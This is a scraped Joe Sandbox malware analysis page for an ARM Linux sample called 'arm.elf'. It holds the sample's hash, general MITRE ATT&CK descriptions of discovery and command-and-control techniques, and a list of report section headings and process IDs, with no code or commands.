Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: arm.elf PID: 6259, Parent PID: 6181

General

Chronological Activities

Analysis Process: arm.elf PID: 6261, Parent PID: 6259

General

Chronological Activities

Analysis Process: arm.elf PID: 6263, Parent PID: 6261

General

Chronological Activities

Analysis Process: arm.elf PID: 6265, Parent PID: 6261

General

Chronological Activities

Analysis Process: arm.elf PID: 6266, Parent PID: 6261

General

Chronological Activities

Analysis Process: arm.elf PID: 6269, Parent PID: 6261

Linux Analysis Report
arm.elf